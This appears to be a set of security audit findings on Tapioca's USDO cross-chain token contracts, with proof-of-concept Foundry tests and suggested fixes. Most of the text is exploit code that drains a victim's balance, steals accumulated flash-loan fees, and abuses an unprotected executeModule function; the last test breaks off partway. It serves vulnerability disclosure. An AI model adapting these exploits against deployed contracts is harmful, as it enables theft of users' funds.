makeAddr("victim"), // IMPORTANT: This will make the attack be triggered as the victim will become the srcChainSender in the destination chain\\n composeMsg: bytes(""),\\n lzSendParam: lzSendParamAToBVictim\\n });\\n\\n uint16 index; // needed to bypass Solidity's encoding literal error\\n // Create Toe Compose message for the victim\\n bytes memory toeComposeMsgVictim = abi.encodePacked(\\n PT_REMOTE_TRANSFER, // msgType\\n uint16(abi.encode(remoteTransferMsgVictim).length), // message length (0)\\n index, // index\\n abi.encode(remoteTransferMsgVictim), // message\\n bytes("") // next message\\n );\\n\\n // SECOND MESSAGE B ---> A \\n\\n SendParam memory sendParamBToA = SendParam({\\n dstEid: aEid,\\n to: OFTMsgCodec.addressToBytes32(makeAddr("attacker")),\\n amountLD: 0, // IMPORTANT: This must be set to 0 to bypass the allowance check performed inside `_remoteTransferReceiver()`\\n minAmountLD: 0,\\n extraOptions: bytes(""),\\n composeMsg: bytes(""),\\n oftCmd: bytes("")\\n }); \\n MessagingFee memory feeBToA = MessagingFee({\\n nativeFee: 0,\\n lzTokenFee: 0\\n });\\n \\n LZSendParam memory lzSendParamBToA = LZSendParam({\\n sendParam: sendParamBToA,\\n fee: feeBToA,\\n extraOptions: bytes(""),\\n refundAddress: makeAddr("attacker")\\n });\\n\\n // Create remote transfer message\\n RemoteTransferMsg memory remoteTransferMsg = RemoteTransferMsg({\\n owner: makeAddr("victim"), // IMPORTANT: This will make the attack be triggered as the victim will become the srcChainSender in the destination chain\\n composeMsg: toeComposeMsgVictim,\\n lzSendParam: lzSendParamBToA\\n });\\n\\n // Create Toe Compose message\\n bytes memory toeComposeMsg = abi.encodePacked(\\n PT_REMOTE_TRANSFER, // msgType\\n uint16(abi.encode(remoteTransferMsg).length), // message length\\n index, // index\\n abi.encode(remoteTransferMsg),\\n bytes("") // next message\\n );\\n \\n // INITIAL MESSAGE A ---> B \\n\\n // Create `_lzSendParam` parameter for `sendPacket()`\\n SendParam memory sendParamAToB = SendParam({\\n dstEid: bEid,\\n to: OFTMsgCodec.addressToBytes32(makeAddr("attacker")),\\n amountLD: 0,\\n minAmountLD: 0,\\n extraOptions: bytes(""),\\n composeMsg: bytes(""),\\n oftCmd: bytes("")\\n }); \\n MessagingFee memory feeAToB = MessagingFee({\\n nativeFee: 0,\\n lzTokenFee: 0\\n });\\n \\n LZSendParam memory lzSendParamAToB = LZSendParam({\\n sendParam: sendParamAToB,\\n fee: feeAToB,\\n extraOptions: bytes(""),\\n refundAddress: makeAddr("attacker")\\n });\\n\\n vm.startPrank(makeAddr("attacker"));\\n aUsdo.sendPacket(lzSendParamAToB, toeComposeMsg);\\n\\n // EXECUTE ATTACK\\n\\n // Execute first lzReceive() --> receive message in chain B\\n \\n vm.startPrank(endpoints[bEid]);\\n UsdoReceiver(address(bUsdo)).lzReceive(\\n Origin({sender: OFTMsgCodec.addressToBytes32(address(aUsdo)), srcEid: aEid, nonce: 0}), \\n OFTMsgCodec.addressToBytes32(address(0)), // guid (not needed for the PoC)\\n abi.encodePacked( // same as _buildOFTMsgAndOptions()\\n sendParamAToB.to,\\n index, // amount (use an initialized 0 variable due to Solidity restrictions)\\n OFTMsgCodec.addressToBytes32(makeAddr("attacker")),\\n toeComposeMsg\\n ), // message\\n address(0), // executor (not used)\\n bytes("") // extra data (not used)\\n );\\n\\n // Compose message is sent in `lzReceive()`, we need to trigger `lzCompose()`.\\n // This triggers a message back to chain A, in which the srcChainSender will be set as the victim inside the\\n // composed message due to the wrong parameter passed\\n UsdoReceiver(address(bUsdo)).lzCompose(\\n address(bUsdo), \\n OFTMsgCodec.addressToBytes32(address(0)), // guid (not needed for the PoC)\\n abi.encodePacked(OFTMsgCodec.addressToBytes32(address(aUsdo)), toeComposeMsg), // message\\n address(0), // executor (not used)\\n bytes("") // extra data (not used)\\n );\\n\\n vm.startPrank(endpoints[aEid]);\\n\\n // Chain A: message is received, internally a compose flow is retriggered.\\n UsdoReceiver(address(aUsdo)).lzReceive(\\n Origin({sender: OFTMsgCodec.addressToBytes32(address(bUsdo)), srcEid: bEid, nonce: 0}), \\n OFTMsgCodec.addressToBytes32(address(0)), // guid (not needed for the PoC)\\n abi.encodePacked( // same as _buildOFTMsgAndOptions()\\n sendParamAToB.to,\\n index, // amount\\n OFTMsgCodec.addressToBytes32(makeAddr("attacker")),\\n toeComposeMsgVictim\\n ), // message\\n address(0), // executor (not used)\\n bytes("") // extra data (not used)\\n );\\n\\n // Compose message is sent in `lzReceive()`, we need to trigger `lzCompose()`.\\n // At this point, the srcChainSender is the victim (as set in the previous lzCompose) because of the wrong parameter (the `expectEmit` verifies it).\\n // The `owner` specified for the remote transfer is also the victim, so the allowance check is bypassed because `owner` == `srcChainSender`.\\n // This allows the tokens to be burnt, and a final message is triggered to the destination chain\\n UsdoReceiver(address(aUsdo)).lzCompose(\\n address(aUsdo), \\n OFTMsgCodec.addressToBytes32(address(0)), // guid (not needed for the PoC)\\n abi.encodePacked(OFTMsgCodec.addressToBytes32(address(makeAddr("victim"))), toeComposeMsgVictim), // message (srcChainSender becomes victim because of wrong parameter set)\\n address(0), // executor (not used)\\n bytes("") // extra data (not used)\\n );\\n\\n // Back to chain B. Finally, the burnt tokens from the victim in chain A get minted in chain B with the attacker set as the destination\\n {\\n uint64 tokenAmountSD = usdoHelper.toSD(100 ether, bUsdo.decimalConversionRate());\\n \\n vm.startPrank(endpoints[bEid]);\\n UsdoReceiver(address(bUsdo)).lzReceive(\\n Origin({sender: OFTMsgCodec.addressToBytes32(address(aUsdo)), srcEid: aEid, nonce: 0}), \\n OFTMsgCodec.addressToBytes32(address(0)), // guid (not needed for the PoC)\\n abi.encodePacked( // same as _buildOFTMsgAndOptions()\\n OFTMsgCodec.addressToBytes32(makeAddr("attacker")),\\n tokenAmountSD\\n ), // message\\n address(0), // executor (not used)\\n bytes("") // extra data (not used)\\n );\\n\\n }\\n\\n // Finished: victim gets drained, attacker obtains balance of victim\\n assertEq(bUsdo.balanceOf(makeAddr("victim")), 0);\\n assertEq(bUsdo.balanceOf(makeAddr("attacker")), 100 ether);\\n \\n } \\n```\\n\\nRun the poc with the following command: `forge test --mt testVuln_stealUSDOFromATargetUserDueToWrongParameter`\\nThe proof of concept shows how in the end, the victim's `aUsdo` balance will become 0, while all the `bUsdo` in chain B will be minted to the attacker.
Change the parameter passed in the `_internalRemoteransferSendPacket()` call so that the sender in the compose call built inside it is actually the real source chain sender. This will make it be kept along all the possible recursive calls that might take place:\\n```\\nfunction _remoteTransferReceiver(address _srcChainSender, bytes memory _data) internal virtual {\\n RemoteTransferMsg memory remoteTransferMsg_ = TapiocaOmnichainEngineCodec.decodeRemoteTransferMsg(_data);\\n\\n /// @dev xChain owner needs to have approved dst srcChain `sendPacket()` msg.sender in a previous composedMsg. Or be the same address.\\n _internalTransferWithAllowance(\\n remoteTransferMsg_.owner, _srcChainSender, remoteTransferMsg_.lzSendParam.sendParam.amountLD\\n ); \\n \\n // Make the internal transfer, burn the tokens from this contract and send them to the recipient on the other chain.\\n _internalRemoteTransferSendPacket(\\n// Remove the line below\\n remoteTransferMsg_.owner,\\n// Add the line below\\n _srcChainSender\\n remoteTransferMsg_.lzSendParam, \\n remoteTransferMsg_.composeMsg \\n ); \\n \\n emit RemoteTransferReceived(\\n remoteTransferMsg_.owner,\\n remoteTransferMsg_.lzSendParam.sendParam.dstEid,\\n OFTMsgCodec.bytes32ToAddress(remoteTransferMsg_.lzSendParam.sendParam.to),\\n remoteTransferMsg_.lzSendParam.sendParam.amountLD\\n );\\n }\\n```\\n
High. An attacker can drain any USDO holder's balance and transfer it to themselves.
```\\n// TapiocaOmnichainReceiver.sol\\nfunction lzCompose( \\n address _from,\\n bytes32 _guid,\\n bytes calldata _message,\\n address, //executor\\n bytes calldata //extra Data\\n ) external payable override {\\n // rest of code\\n \\n // Decode LZ compose message.\\n (address srcChainSender_, bytes memory oftComposeMsg_) =\\n TapiocaOmnichainEngineCodec.decodeLzComposeMsg(_message);\\n\\n // Execute the composed message. \\n _lzCompose(srcChainSender_, _guid, oftComposeMsg_); \\n }\\n```\\n
Recursive _lzCompose() call can be leveraged to steal all generated USDO fees
high
It is possible to steal all generated USDO fees by leveraging the recursive _lzCompose() call triggered in compose calls.\\nThe `USDOFlashloanHelper` contract allows users to take USDO flash loans. When a user takes a flash loan some fees will be enforced and transferred to the USDO contract:\\n```\\n// USDOFlashloanHelper.sol\\nfunction flashLoan(IERC3156FlashBorrower receiver, address token, uint256 amount, bytes calldata data)\\n external\\n override\\n returns (bool)\\n {\\n \\n // rest of code\\n\\n IERC20(address(usdo)).safeTransferFrom(address(receiver), address(usdo), fee);\\n \\n _flashloanEntered = false;\\n\\n return true;\\n }\\n```\\n\\nSuch fees can be later retrieved by the owner of the USDO contract via the `extractFees()` function:\\n```\\n// Usdo.sol\\nfunction extractFees() external onlyOwner { \\n if (_fees > 0) {\\n uint256 balance = balanceOf(address(this));\\n\\n uint256 toExtract = balance >= _fees ? _fees : balance;\\n _fees -= toExtract;\\n _transfer(address(this), msg.sender, toExtract);\\n }\\n }\\n```\\n\\nHowever, such fees can be stolen by an attacker by leveraging a wrong parameter set when performing a compose call.\\nWhen a compose call is triggered, the internal `_lzCompose()` call will be triggered. This call will check the `msgType_` and execute some logic according to the type of message requested. After executing the corresponding logic, it will be checked if there is an additional message by checking the `nextMsg_.length`. If the compose call had a next message to be called, a recursive call will be triggered and `_lzCompose()` will be called again:\\n```\\n// TapiocaOmnichainReceiver.sol\\n\\nfunction _lzCompose(address srcChainSender_, bytes32 _guid, bytes memory oftComposeMsg_) internal {\\n \\n // Decode OFT compose message.\\n (uint16 msgType_,,, bytes memory tapComposeMsg_, bytes memory nextMsg_) =\\n TapiocaOmnichainEngineCodec.decodeToeComposeMsg(oftComposeMsg_);\\n\\n // Call Permits/approvals if the msg type is a permit/approval.\\n // If the msg type is not a permit/approval, it will call the other receivers. \\n if (msgType_ == MSG_REMOTE_TRANSFER) { \\n _remoteTransferReceiver(srcChainSender_, tapComposeMsg_); \\n } else if (!_extExec(msgType_, tapComposeMsg_)) { \\n // Check if the TOE extender is set and the msg type is valid. If so, call the TOE extender to handle msg.\\n if ( \\n address(tapiocaOmnichainReceiveExtender) != address(0)\\n && tapiocaOmnichainReceiveExtender.isMsgTypeValid(msgType_)\\n ) { \\n bytes memory callData = abi.encodeWithSelector(\\n ITapiocaOmnichainReceiveExtender.toeComposeReceiver.selector,\\n msgType_,\\n srcChainSender_, \\n tapComposeMsg_\\n ); \\n (bool success, bytes memory returnData) =\\n address(tapiocaOmnichainReceiveExtender).delegatecall(callData);\\n if (!success) {\\n revert(_getTOEExtenderRevertMsg(returnData));\\n }\\n } else {\\n // If no TOE extender is set or msg type doesn't match extender, try to call the internal receiver.\\n if (!_toeComposeReceiver(msgType_, srcChainSender_, tapComposeMsg_)) {\\n revert InvalidMsgType(msgType_);\\n }\\n }\\n }\\n \\n emit ComposeReceived(msgType_, _guid, tapComposeMsg_);\\n if (nextMsg_.length > 0) {\\n _lzCompose(address(this), _guid, nextMsg_);\\n }\\n }\\n```\\n\\nAs we can see in the code snippet's last line, if `nextMsg_.length > 0` an additional compose call can be triggered . The problem with this call is that the first parameter in the `_lzCompose()` call is hardcoded to be `address(this)` (address of USDO), making the `srcChainSender_` become the USDO address in the recursive compose call.\\nAn attacker can then leverage the remote transfer logic in order to steal all the USDO tokens held in the USDO contract (mainly fees generated by flash loans).\\nForcing the recursive call to be a remote transfer, `_remoteTransferReceiver()` will be called. Because the source chain sender in the recursive call is the USDO contract, the `owner` parameter in the remote transfer (the address from which the remote transfer tokens are burnt) can also be set to the USDO address, making the allowance check in the `_internalTransferWithAllowance()` call be bypassed, and effectively burning a desired amount from USDO.\\n```\\n// USDO.sol\\nfunction _remoteTransferReceiver(address _srcChainSender, bytes memory _data) internal virtual {\\n RemoteTransferMsg memory remoteTransferMsg_ = TapiocaOmnichainEngineCodec.decodeRemoteTransferMsg(_data);\\n\\n \\n /// @dev xChain owner needs to have approved dst srcChain `sendPacket()` msg.sender in a previous composedMsg. Or be the same address.\\n _internalTransferWithAllowance(\\n remoteTransferMsg_.owner, _srcChainSender, remoteTransferMsg_.lzSendParam.sendParam.amountLD\\n ); \\n \\n // rest of code\\n }\\n\\nfunction _internalTransferWithAllowance(address _owner, address srcChainSender, uint256 _amount) internal {\\n \\n if (_owner != srcChainSender) { // <------- `_owner` and `srcChainSender` will both be the USDO address, so the check in `_spendAllowance()` won't be performed\\n _spendAllowance(_owner, srcChainSender, _amount);\\n }\\n \\n _transfer(_owner, address(this), _amount);\\n } \\n```\\n\\nAfter burning the tokens from USDO, the remote transfer will trigger a call to a destination chain to mint the burnt tokens in the origin chain. The receiver of the tokens can be different from the address whose tokens were burnt, so an attacker can obtain the minted tokens in the destination chain, effectively stealing all USDO balance from the USDO contract.\\nAn example attack path would be:\\nAn attacker creates a compose call from chain A to chain B. This compose call is actually composed of two messages:\\nThe first message, which won't affect the attack and is simply the initial step to trigger the attack in the destination chain\\nThe second message (nextMsg), which is the actual compose message that will trigger the remote transfer and burn the tokens in chain B, and finally trigger a call back to chain A to mint he tokens\\nThe call is executed, chain B receives the call and triggers the first compose message (as demonstrated in the PoC, this first message is not important and can simply be a remote transfer call with a 0 amount of tokens). After triggering the first compose call, the second compose message is triggered. The USDO contract is set as the source chain sender and the remote transfer is called. Because the owner set in the compose call and the source chain sender are the same, the specified tokens in the remote transfer are directly burnt\\nFinally, the compose call triggers a call back to chain A to mint the burnt tokens in chain B, and tokens are minted to the attacker\\n\\nThe following proof of concept illustrates how the mentioned attack can take place. In order to execute the PoC, the following steps must be performed:\\nCreate an `EnpointMock.sol` file inside the `test` folder inside `Tapioca-bar` and paste the following code (the current tests are too complex, this imitates LZ's endpoint contracts and reduces the poc's complexity):\\n```\\n// SPDX-License-Identifier: LZBL-1.2\\n\\npragma solidity ^0.8.20;\\n\\nstruct MessagingReceipt {\\n bytes32 guid;\\n uint64 nonce;\\n MessagingFee fee;\\n}\\n\\nstruct MessagingParams {\\n uint32 dstEid;\\n bytes32 receiver;\\n bytes message;\\n bytes options; \\n bool payInLzToken;\\n}\\n\\nstruct MessagingFee {\\n uint256 nativeFee;\\n uint256 lzTokenFee;\\n}\\ncontract MockEndpointV2 {\\n\\n \\n function send(\\n MessagingParams calldata _params,\\n address _refundAddress\\n ) external payable returns (MessagingReceipt memory receipt) {\\n // DO NOTHING\\n }\\n\\n /// @dev the Oapp sends the lzCompose message to the endpoint\\n /// @dev the composer MUST assert the sender because anyone can send compose msg with this function\\n /// @dev with the same GUID, the Oapp can send compose to multiple _composer at the same time\\n /// @dev authenticated by the msg.sender\\n /// @param _to the address which will receive the composed message\\n /// @param _guid the message guid\\n /// @param _message the message\\n function sendCompose(address _to, bytes32 _guid, uint16 _index, bytes calldata _message) external {\\n // DO NOTHING\\n \\n }\\n \\n}\\n```\\n\\nImport and deploy two mock endpoints in the `Usdo.t.sol` file\\nChange the inherited OApp in `Usdo.sol` 's implementation so that the endpoint variable is not immutable and add a `setEndpoint()` function so that the endpoint configured in `setUp()` can be chainged to the newly deployed endpoints\\nPaste the following test insde `Usdo.t.sol` :\\n```\\nfunction testVuln_USDOBorrowFeesCanBeDrained() public {\\n\\n // Change configured enpoints\\n\\n endpoints[aEid] = address(mockEndpointV2A);\\n endpoints[bEid] = address(mockEndpointV2B);\\n\\n aUsdo.setEndpoint(address(mockEndpointV2A));\\n bUsdo.setEndpoint(address(mockEndpointV2B));\\n\\n \\n // Mock generated fees\\n deal(address(bUsdo), address(bUsdo), 100 ether);\\n\\n ////////////////////////////////////////////////////////\\n // PREPARE MESSAGES //\\n ////////////////////////////////////////////////////////\\n\\n // NEXT MESSAGE B --> A (EXECUTED AS THE nextMsg after the INITIAL B --> A MESSAGE) \\n\\n SendParam memory sendParamAToBVictim = SendParam({\\n dstEid: aEid,\\n to: OFTMsgCodec.addressToBytes32(makeAddr("attacker")),\\n amountLD: 100 ether, // IMPORTANT: This must be set to the amount we want to steal\\n minAmountLD: 100 ether,\\n extraOptions: bytes(""),\\n composeMsg: bytes(""),\\n oftCmd: bytes("")\\n }); \\n MessagingFee memory feeAToBVictim = MessagingFee({\\n nativeFee: 0,\\n lzTokenFee: 0\\n });\\n \\n LZSendParam memory lzSendParamAToBVictim = LZSendParam({\\n sendParam: sendParamAToBVictim,\\n fee: feeAToBVictim,\\n extraOptions: bytes(""),\\n refundAddress: makeAddr("attacker")\\n });\\n\\n RemoteTransferMsg memory remoteTransferMsgVictim = RemoteTransferMsg({\\n owner: address(bUsdo), // IMPORTANT: This will make the attack be triggered as bUsdo will become the srcChainSender in the nextMsg compose call\\n composeMsg: bytes(""),\\n lzSendParam: lzSendParamAToBVictim\\n });\\n\\n uint16 index; // needed to bypass Solidity's encoding literal error\\n // Create Toe Compose message for the victim\\n bytes memory toeComposeMsgVictim = abi.encodePacked(\\n PT_REMOTE_TRANSFER, // msgType\\n uint16(abi.encode(remoteTransferMsgVictim).length), // message length (0)\\n index, // index\\n abi.encode(remoteTransferMsgVictim), // message\\n bytes("") // next message\\n );\\n \\n // SECOND MESSAGE (composed) B ---> A \\n // This second message is a necessary step in order to reach the execution\\n // inside `_lzCompose()` where the nextMsg can be triggered\\n\\n SendParam memory sendParamBToA = SendParam({\\n dstEid: aEid,\\n to: OFTMsgCodec.addressToBytes32(address(aUsdo)),\\n amountLD: 0, \\n minAmountLD: 0,\\n extraOptions: bytes(""),\\n composeMsg: bytes(""),\\n oftCmd: bytes("")\\n }); \\n MessagingFee memory feeBToA = MessagingFee({\\n nativeFee: 0,\\n lzTokenFee: 0\\n });\\n \\n LZSendParam memory lzSendParamBToA = LZSendParam({\\n sendParam: sendParamBToA,\\n fee: feeBToA,\\n extraOptions: bytes(""),\\n refundAddress: makeAddr("attacker")\\n });\\n\\n // Create remote transfer message\\n RemoteTransferMsg memory remoteTransferMsg = RemoteTransferMsg({\\n owner: makeAddr("attacker"),\\n composeMsg: bytes(""),\\n lzSendParam: lzSendParamBToA\\n });\\n\\n // Create Toe Compose message\\n bytes memory toeComposeMsg = abi.encodePacked(\\n PT_REMOTE_TRANSFER, // msgType\\n uint16(abi.encode(remoteTransferMsg).length), // message length\\n index, // index\\n abi.encode(remoteTransferMsg),\\n toeComposeMsgVictim // next message: IMPORTANT to set this to the A --> B message that will be triggered as the `nextMsg`\\n );\\n \\n // INITIAL MESSAGE A ---> B \\n\\n // Create `_lzSendParam` parameter for `sendPacket()`\\n SendParam memory sendParamAToB = SendParam({\\n dstEid: bEid,\\n to: OFTMsgCodec.addressToBytes32(makeAddr("attacker")), // address here doesn't matter\\n amountLD: 0,\\n minAmountLD: 0,\\n extraOptions: bytes(""),\\n composeMsg: bytes(""),\\n oftCmd: bytes("")\\n }); \\n MessagingFee memory feeAToB = MessagingFee({\\n nativeFee: 0,\\n lzTokenFee: 0\\n });\\n \\n LZSendParam memory lzSendParamAToB = LZSendParam({\\n sendParam: sendParamAToB,\\n fee: feeAToB,\\n extraOptions: bytes(""),\\n refundAddress: makeAddr("attacker")\\n });\\n\\n vm.startPrank(makeAddr("attacker"));\\n aUsdo.sendPacket(lzSendParamAToB, toeComposeMsg);\\n\\n // EXECUTE ATTACK\\n\\n // Execute first lzReceive() --> receive message in chain B\\n \\n vm.startPrank(endpoints[bEid]);\\n UsdoReceiver(address(bUsdo)).lzReceive(\\n Origin({sender: OFTMsgCodec.addressToBytes32(address(aUsdo)), srcEid: aEid, nonce: 0}), \\n OFTMsgCodec.addressToBytes32(address(0)), // guid (not needed for the PoC)\\n abi.encodePacked( // same as _buildOFTMsgAndOptions()\\n sendParamAToB.to,\\n index, // amount (use an initialized 0 variable due to Solidity restrictions)\\n OFTMsgCodec.addressToBytes32(makeAddr("attacker")), // initially, the sender for the first A --> B message is the attacker\\n toeComposeMsg\\n ), // message\\n address(0), // executor (not used)\\n bytes("") // extra data (not used)\\n );\\n\\n // Compose message is sent in `lzReceive()`, we need to trigger `lzCompose()`.\\n // bUsdo will be burnt from the bUSDO address, and nextMsg will be triggered to mint the burnt amount in chain A, having \\n // the attacker as the receiver\\n UsdoReceiver(address(bUsdo)).lzCompose(\\n address(bUsdo), \\n OFTMsgCodec.addressToBytes32(address(0)), // guid (not needed for the PoC)\\n abi.encodePacked(OFTMsgCodec.addressToBytes32(address(aUsdo)), toeComposeMsg), // message\\n address(0), // executor (not used)\\n bytes("") // extra data (not used)\\n );\\n\\n vm.startPrank(endpoints[aEid]);\\n\\n // Receive nextMsg in chain A, mint tokens to the attacker\\n uint64 tokenAmountSD = usdoHelper.toSD(100 ether, aUsdo.decimalConversionRate());\\n\\n UsdoReceiver(address(aUsdo)).lzReceive(\\n Origin({sender: OFTMsgCodec.addressToBytes32(address(bUsdo)), srcEid: bEid, nonce: 0}), \\n OFTMsgCodec.addressToBytes32(address(0)), // guid (not needed for the PoC)\\n abi.encodePacked( // same as _buildOFTMsgAndOptions()\\n OFTMsgCodec.addressToBytes32(makeAddr("attacker")),\\n tokenAmountSD\\n ), // message\\n address(0), // executor (not used)\\n bytes("") // extra data (not used)\\n );\\n \\n\\n // Finished: bUSDO fees get drained, attacker obtains all the fees in the form of aUSDO\\n assertEq(bUsdo.balanceOf(address(bUsdo)), 0);\\n assertEq(aUsdo.balanceOf(makeAddr("attacker")), 100 ether);\\n \\n }\\n```\\n\\nRun the poc with the following command: `forge test --mt testVuln_USDOBorrowFeesCanBeDrained`\\nThe proof of concept shows how in the end, USDO's `bUsdo` balance will become 0, while the same amount ofaUsdo in chain A will be minted to the attacker.
Ensure that the `_lzCompose()` call triggered when a `_nextMsg` exists keeps a consistent source chain sender address, instead of hardcoding it to `address(this)` :\\n```\\n// TapiocaOmnichainReceiver.sol\\n\\nfunction _lzCompose(address srcChainSender_, bytes32 _guid, bytes memory oftComposeMsg_) internal {\\n \\n // Decode OFT compose message.\\n (uint16 msgType_,,, bytes memory tapComposeMsg_, bytes memory nextMsg_) =\\n TapiocaOmnichainEngineCodec.decodeToeComposeMsg(oftComposeMsg_);\\n\\n // rest of code\\n \\n emit ComposeReceived(msgType_, _guid, tapComposeMsg_);\\n if (nextMsg_.length > 0) {\\n// Remove the line below\\n _lzCompose(address(this), _guid, nextMsg_);‚\\n// Add the line below\\n _lzCompose(srcChainSender_, _guid, nextMsg_);\\n }\\n }\\n```\\n
High, all fees generated by the USDO contract can be effectively stolen by the attacker
```\\n// USDOFlashloanHelper.sol\\nfunction flashLoan(IERC3156FlashBorrower receiver, address token, uint256 amount, bytes calldata data)\\n external\\n override\\n returns (bool)\\n {\\n \\n // rest of code\\n\\n IERC20(address(usdo)).safeTransferFrom(address(receiver), address(usdo), fee);\\n \\n _flashloanEntered = false;\\n\\n return true;\\n }\\n```\\n
Unprotected `executeModule` function allows to steal the tokens
high
The `executeModule` function allows anyone to execute any module with any params. That allows attacker to execute operations on behalf of other users.\\nHere is the `executeModule` function:\\nAll its parameters are controlled by the caller and anyone can be the caller. Anyone can execute any module on behalf of any user.\\nLet's try to steal someone's tokens using `UsdoMarketReceiver` module and `removeAssetReceiver` function (below is the PoC).\\nHere is the code that will call the `executeModule` function:\\n```\\nbUsdo.executeModule(\\n IUsdo.Module.UsdoMarketReceiver, \\n abi.encodeWithSelector(\\n UsdoMarketReceiverModule.removeAssetReceiver.selector, \\n marketMsg_), \\n false);\\n```\\n\\nThe important value here is the `marketMsg_` parameter. The `removeAssetReceiver` function forwards the call to `exitPositionAndRemoveCollateral` function via magnetar contract.\\nThe `exitPositionAndRemoveCollateral` function removes asset from Singularity market if the `data.removeAndRepayData.removeAssetFromSGL` is `true`. The amount is taken from `data.removeAndRepayData.removeAmount`. Then, if `data.removeAndRepayData.assetWithdrawData.withdraw` is `true`, the `_withdrawToChain` is called.\\nIn `_withdrawToChain`, if the `data.lzSendParams.sendParam.dstEid` is zero, the `_withdrawHere` is called that transfers asset to `data.lzSendParams.sendParam.to`.\\nSumming up, the following `marketMsg_` struct can be used to steal userB's assets from singularity market by `userA`.\\n```\\nMarketRemoveAssetMsg({\\n user: address(userB),//victim\\n externalData: ICommonExternalContracts({\\n magnetar: address(magnetar),\\n singularity: address(singularity),\\n bigBang: address(0),\\n marketHelper: address(marketHelper)\\n }),\\n removeAndRepayData: IRemoveAndRepay({\\n removeAssetFromSGL: true,//remove from Singularity market\\n removeAmount: tokenAmountSD,//amount to remove\\n repayAssetOnBB: false,\\n repayAmount: 0,\\n removeCollateralFromBB: false,\\n collateralAmount: 0,\\n exitData: IOptionsExitData({exit: false, target: address(0), oTAPTokenID: 0}),\\n unlockData: IOptionsUnlockData({unlock: false, target: address(0), tokenId: 0}),\\n assetWithdrawData: MagnetarWithdrawData({\\n withdraw: true,//withdraw assets\\n yieldBox: address(yieldBox), //where from to withdraw\\n assetId: bUsdoYieldBoxId, //what asset to withdraw\\n unwrap: false,\\n lzSendParams: LZSendParam({\\n refundAddress: address(userB),\\n fee: MessagingFee({lzTokenFee: 0, nativeFee: 0}),\\n extraOptions: "0x",\\n sendParam: SendParam({\\n amountLD: 0,\\n composeMsg: "0x",\\n dstEid: 0,\\n extraOptions: "0x",\\n minAmountLD: 0,\\n oftCmd: "0x",\\n to: OFTMsgCodec.addressToBytes32(address(userA)) // recipient of the assets\\n })\\n }),\\n sendGas: 0,\\n composeGas: 0,\\n sendVal: 0,\\n composeVal: 0,\\n composeMsg: "0x",\\n composeMsgType: 0\\n }),\\n collateralWithdrawData: MagnetarWithdrawData({\\n withdraw: false,\\n yieldBox: address(0),\\n assetId: 0,\\n unwrap: false,\\n lzSendParams: LZSendParam({\\n refundAddress: address(userB),\\n fee: MessagingFee({lzTokenFee: 0, nativeFee: 0}),\\n extraOptions: "0x",\\n sendParam: SendParam({\\n amountLD: 0,\\n composeMsg: "0x",\\n dstEid: 0,\\n extraOptions: "0x",\\n minAmountLD: 0,\\n oftCmd: "0x",\\n to: OFTMsgCodec.addressToBytes32(address(userB))\\n })\\n }),\\n sendGas: 0,\\n composeGas: 0,\\n sendVal: 0,\\n composeVal: 0,\\n composeMsg: "0x",\\n composeMsgType: 0\\n })\\n })\\n});\\n```\\n\\nHere is the modified version of the `test_market_remove_asset` test that achieves the same result, but with unauthorized call to `executeModule` function. The `userA` is the attacker, and `userB` is the victim.\\n```\\n function test_malicious_market_remove_asset() public {\\n uint256 erc20Amount_ = 1 ether;\\n\\n // setup\\n {\\n deal(address(bUsdo), address(userB), erc20Amount_);\\n\\n vm.startPrank(userB);\\n bUsdo.approve(address(yieldBox), type(uint256).max);\\n yieldBox.depositAsset(bUsdoYieldBoxId, address(userB), address(userB), erc20Amount_, 0);\\n\\n uint256 sh = yieldBox.toShare(bUsdoYieldBoxId, erc20Amount_, false);\\n yieldBox.setApprovalForAll(address(pearlmit), true);\\n pearlmit.approve(\\n address(yieldBox), bUsdoYieldBoxId, address(singularity), uint200(sh), uint48(block.timestamp + 1)\\n );\\n singularity.addAsset(address(userB), address(userB), false, sh);\\n vm.stopPrank();\\n }\\n\\n uint256 tokenAmount_ = 0.5 ether;\\n\\n /**\\n * Actions\\n */\\n uint256 tokenAmountSD = usdoHelper.toSD(tokenAmount_, aUsdo.decimalConversionRate());\\n\\n //approve magnetar\\n vm.startPrank(userB);\\n bUsdo.approve(address(magnetar), type(uint256).max);\\n singularity.approve(address(magnetar), type(uint256).max);\\n vm.stopPrank();\\n \\n MarketRemoveAssetMsg memory marketMsg = MarketRemoveAssetMsg({\\n user: address(userB),\\n externalData: ICommonExternalContracts({\\n magnetar: address(magnetar),\\n singularity: address(singularity),\\n bigBang: address(0),\\n marketHelper: address(marketHelper)\\n }),\\n removeAndRepayData: IRemoveAndRepay({\\n removeAssetFromSGL: true,\\n removeAmount: tokenAmountSD,\\n repayAssetOnBB: false,\\n repayAmount: 0,\\n removeCollateralFromBB: false,\\n collateralAmount: 0,\\n exitData: IOptionsExitData({exit: false, target: address(0), oTAPTokenID: 0}),\\n unlockData: IOptionsUnlockData({unlock: false, target: address(0), tokenId: 0}),\\n assetWithdrawData: MagnetarWithdrawData({\\n withdraw: true,\\n yieldBox: address(yieldBox),\\n assetId: bUsdoYieldBoxId,\\n unwrap: false,\\n lzSendParams: LZSendParam({\\n refundAddress: address(userB),\\n fee: MessagingFee({lzTokenFee: 0, nativeFee: 0}),\\n extraOptions: "0x",\\n sendParam: SendParam({\\n amountLD: 0,\\n composeMsg: "0x",\\n dstEid: 0,\\n extraOptions: "0x",\\n minAmountLD: 0,\\n oftCmd: "0x",\\n to: OFTMsgCodec.addressToBytes32(address(userA)) // transfer to attacker\\n })\\n }),\\n sendGas: 0,\\n composeGas: 0,\\n sendVal: 0,\\n composeVal: 0,\\n composeMsg: "0x",\\n composeMsgType: 0\\n }),\\n collateralWithdrawData: MagnetarWithdrawData({\\n withdraw: false,\\n yieldBox: address(0),\\n assetId: 0,\\n unwrap: false,\\n lzSendParams: LZSendParam({\\n refundAddress: address(userB),\\n fee: MessagingFee({lzTokenFee: 0, nativeFee: 0}),\\n extraOptions: "0x",\\n sendParam: SendParam({\\n amountLD: 0,\\n composeMsg: "0x",\\n dstEid: 0,\\n extraOptions: "0x",\\n minAmountLD: 0,\\n oftCmd: "0x",\\n to: OFTMsgCodec.addressToBytes32(address(userB))\\n })\\n }),\\n sendGas: 0,\\n composeGas: 0,\\n sendVal: 0,\\n composeVal: 0,\\n composeMsg: "0x",\\n composeMsgType: 0\\n })\\n })\\n });\\n bytes memory marketMsg_ = usdoHelper.buildMarketRemoveAssetMsg(marketMsg);\\n\\n\\n // I added _checkSender in MagnetarMock (function exitPositionAndRemoveCollateral) so need to whitelist USDO\\n cluster.updateContract(aEid, address(bUsdo), true);\\n\\n // ----- ADDED THIS ------>\\n // Attack using executeModule\\n // 